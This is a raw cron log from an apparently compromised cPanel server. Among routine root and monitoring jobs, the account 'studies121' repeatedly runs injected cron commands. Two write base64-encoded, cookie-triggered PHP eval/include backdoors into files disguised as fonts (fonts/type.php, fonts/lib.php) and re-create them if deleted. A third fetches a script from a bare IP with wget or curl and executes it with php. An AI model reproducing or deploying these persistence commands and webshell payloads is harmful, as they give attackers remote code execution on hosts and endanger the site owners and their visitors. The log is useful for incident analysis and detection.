Sep  8 03:11:01 ip-184-168-122-23 CROND[29819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:11:01 ip-184-168-122-23 CROND[29821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:11:01 ip-184-168-122-23 CROND[29823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:12:01 ip-184-168-122-23 CROND[29904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:12:01 ip-184-168-122-23 CROND[29906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:12:01 ip-184-168-122-23 CROND[29907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:12:01 ip-184-168-122-23 CROND[29908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:12:01 ip-184-168-122-23 CROND[29910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:13:01 ip-184-168-122-23 CROND[30007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:13:01 ip-184-168-122-23 CROND[30008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:13:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:13:01 ip-184-168-122-23 CROND[30010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:14:01 ip-184-168-122-23 CROND[30101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:14:01 ip-184-168-122-23 CROND[30102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:14:01 ip-184-168-122-23 CROND[30103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:14:01 ip-184-168-122-23 CROND[30106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:14:01 ip-184-168-122-23 CROND[30108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:15:01 ip-184-168-122-23 CROND[30206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:15:01 ip-184-168-122-23 CROND[30203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:15:01 ip-184-168-122-23 CROND[30204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:15:01 ip-184-168-122-23 CROND[30207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:15:01 ip-184-168-122-23 CROND[30208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:15:01 ip-184-168-122-23 CROND[30205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:16:01 ip-184-168-122-23 CROND[30350]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:16:01 ip-184-168-122-23 CROND[30352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:16:01 ip-184-168-122-23 CROND[30353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:16:01 ip-184-168-122-23 CROND[30355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:16:01 ip-184-168-122-23 CROND[30354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:16:01 ip-184-168-122-23 CROND[30357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:17:01 ip-184-168-122-23 CROND[30463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:17:01 ip-184-168-122-23 CROND[30461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:17:01 ip-184-168-122-23 CROND[30460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:17:01 ip-184-168-122-23 CROND[30462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:18:01 ip-184-168-122-23 CROND[30570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:18:01 ip-184-168-122-23 CROND[30572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:18:01 ip-184-168-122-23 CROND[30574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:18:01 ip-184-168-122-23 CROND[30575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:18:01 ip-184-168-122-23 CROND[30576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:19:01 ip-184-168-122-23 CROND[30678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:19:01 ip-184-168-122-23 CROND[30680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:19:01 ip-184-168-122-23 CROND[30681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:19:01 ip-184-168-122-23 CROND[30682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:20:01 ip-184-168-122-23 CROND[30854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:20:01 ip-184-168-122-23 CROND[30858]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:20:01 ip-184-168-122-23 CROND[30860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:20:02 ip-184-168-122-23 CROND[30866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:20:02 ip-184-168-122-23 CROND[30867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:20:02 ip-184-168-122-23 CROND[30868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:20:02 ip-184-168-122-23 CROND[30863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:20:02 ip-184-168-122-23 CROND[30864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:20:02 ip-184-168-122-23 CROND[30865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:21:01 ip-184-168-122-23 CROND[30968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:21:01 ip-184-168-122-23 CROND[30970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:21:01 ip-184-168-122-23 CROND[30969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:21:01 ip-184-168-122-23 CROND[30971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:22:01 ip-184-168-122-23 CROND[31064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:22:01 ip-184-168-122-23 CROND[31065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:22:01 ip-184-168-122-23 CROND[31067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:22:01 ip-184-168-122-23 CROND[31066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:22:01 ip-184-168-122-23 CROND[31068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:23:01 ip-184-168-122-23 CROND[31158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
